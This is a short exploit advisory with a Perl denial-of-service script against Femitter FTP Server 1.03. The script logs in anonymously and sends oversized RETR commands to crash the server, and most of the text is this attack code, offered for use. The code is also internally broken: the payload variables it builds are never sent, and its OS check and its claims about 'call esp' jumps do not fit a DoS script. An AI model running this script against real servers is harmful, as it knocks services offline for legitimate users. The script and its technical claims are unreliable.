Femitter FTP Server 1.03 Denial Of Service Exploit

#!/usr/bin/perl

use Net::FTP;

# Exploit Title: Femitter FTP Server 1.03 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Vendor Homepage:  https://acritum.com/
# Download to demo: https://drive.google.com/file/d/1GBFmc7tMavA9mMoZPYVlUVUe62dGjBhF/view?usp=sharing
# Notification vendor: No reported
# Tested Version: Femitter FTP Server 1.03
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# Vídeo: https://drive.google.com/file/d/1n_WzyNiOwHRen60en5rh56Q4AyDfVbF_/view?usp=sharing

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server does not correctly handle the amount of data or bytes of the command RETR, resulting in memory corruption.
#When authenticating to the FTP server with a long RETR or a RETR with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

    $sis="$^O";

    if ($sis eq "windows"){
      $cmd="cls";
    } else {
      $cmd="clear";
    }

    system("$cmd");
    
    intro();
    main();
    
    print "[+] Exploiting... \n";

    my $payload = "\x41\x2C\x41\x20\x42"x500;

    my $ftp = Net::FTP->new($ip, Debug => 0) or die "Could not connect: $@";

    my $sc= "A"x800;

    $ftp->login("anon","anon") or die "Failed: " . $ftp->message;

    $ftp->quot("RETR ".$c."\r\n") or die "Error: " . $ftp->message;
    $ftp->quot("RETR ".$c."\r\n") or die "Error: " . $ftp->message;

    $ftp->quit;

    print "[+] Done - Exploited success!!!!!\n\n";
  
   sub intro {
      print "######################################################################\n";
      print "#                Femitter FTP Server 1.03 - Denial of Service        #\n";
      print "#                                                                    #\n";
      print "#                       Coded by Fernando Mengali                    #\n";
      print "#                                                                    #\n";
      print "#                 e-mail: fernando.mengalli\@gmail.com                #\n";
      print "#                                                                    #\n";
      print "######################################################################\n";
  }

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "       \nUsage: $0 <ip> <port>                 \n";
        exit(-1);

      }
  }

#3. Solution/ How to fix:

# This version product is deprecated